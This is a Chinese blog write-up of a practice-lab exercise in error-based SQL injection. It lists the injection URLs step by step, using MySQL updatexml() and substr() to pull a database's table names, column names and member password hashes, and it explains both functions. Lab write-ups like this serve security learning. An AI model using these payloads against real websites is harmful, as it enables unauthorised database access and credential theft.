WEB安全-SQL注入漏洞测试(报错盲注)
前言
目前钻研SQLi注入,这是第四篇,靶场名即为标题,链接如下
正文
首先明确靶场为报错注入,了解到目标,方便我们之后遇到问题有底,这里截断函数不知道,接下来就会遇到问题
进入靶场,环境和之前一样,进入公告
之后按照流程,判断出是单引号闭合,同时判断出有四个回显位,但是当我们准备判断哪个是回显位的时候,发现出现报错,即无法通过回显获取数据,开始尝试报错注入
第一步注入出数据库名为 stormgroup
219.153.49.228:49893/new_list.php?id=-1' and updatexml(0,concat(0x7e,database(),0x7e),0) %23
第二步获取表信息为 member 和 notice
219.153.49.228:49893/new_list.php?id=-1' and updatexml(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) %23
第三步获取member表中的列为 name,password,status
http://219.153.49.228:49893/new_list.php?id=-1' and updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='member')),0) %23
第四步获取name为 mozhe,password为 3114b433dece9180717f2b7de
http://219.153.49.228:49893/new_list.php?id=-1' and updatexml(0,concat(0x7e,(select group_concat(name,0x7e,password) from stormgroup.member)),0) %23
但是真正的md5是标准的16位或者32位,这里明显不够,所以怀疑是溢出了,于是通过使用截断函数进行拉取第一组数据 ~mozhe~3114b433dece9180717f2b7de56b28a3
http://219.153.49.228:49893/new_list.php?id=-1' and updatexml(0,substr(concat(0x7e,(select group_concat(name,0x7e,password) from stormgroup.member)),1,100),0) %23
http://219.153.49.228:49893/new_list.php?id=-1' and updatexml(0,substr(concat(0x7e,(select group_concat(name,0x7e,password) from stormgroup.member)),8,100),0) %23
第二组数据 mozhe~ef2fc393ecfab2a2991e0a6f7e5cafae
http://219.153.49.228:49893/new_list.php?id=-1' and updatexml(0,substr(concat(0x7e,(select group_concat(name,0x7e,password) from stormgroup.member)),20,100),0) %23
http://219.153.49.228:49893/new_list.php?id=-1' and updatexml(0,substr(concat(0x7e,(select group_concat(name,0x7e,password) from stormgroup.member)),25,100),0) %23
最后md5解密,提交key
总结
这个靶场难度比之前难度略高一些,费了一些时间,以下有一些打靶场时候的知识点总结
报错函数的使用:
updatexml():Mysql中对XML文档数据进行查询和修改的XPATH函数,通过xml查询过程中的返回的错误获取报错信息
updatexml(xml_target, xpath, new_xml)
xml_target::需要操作的xml片段,为表中字段名
xpath:需要更新的xml路径(xpath格式的字符串)
new_xml:更新后的内容
第二个参数xpath的定位必须是有效的,否则会发生错误。如果Xpath传入的是一个表达式,那么会先把表达式执行一遍再进行报错。
实际上第一个和第三个传入的参数都是错误的,重点是第二个传入的参数
截断函数:
在这里我用的也就是之前第一篇布尔盲注那里提到的 substr()函数
substr(str,pos):截取字符串str,从pos开始的位置,一直截取到最后
substr (str, pos, len):截取字符串str,从pos位置开始,截取位数为len
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/15580764.html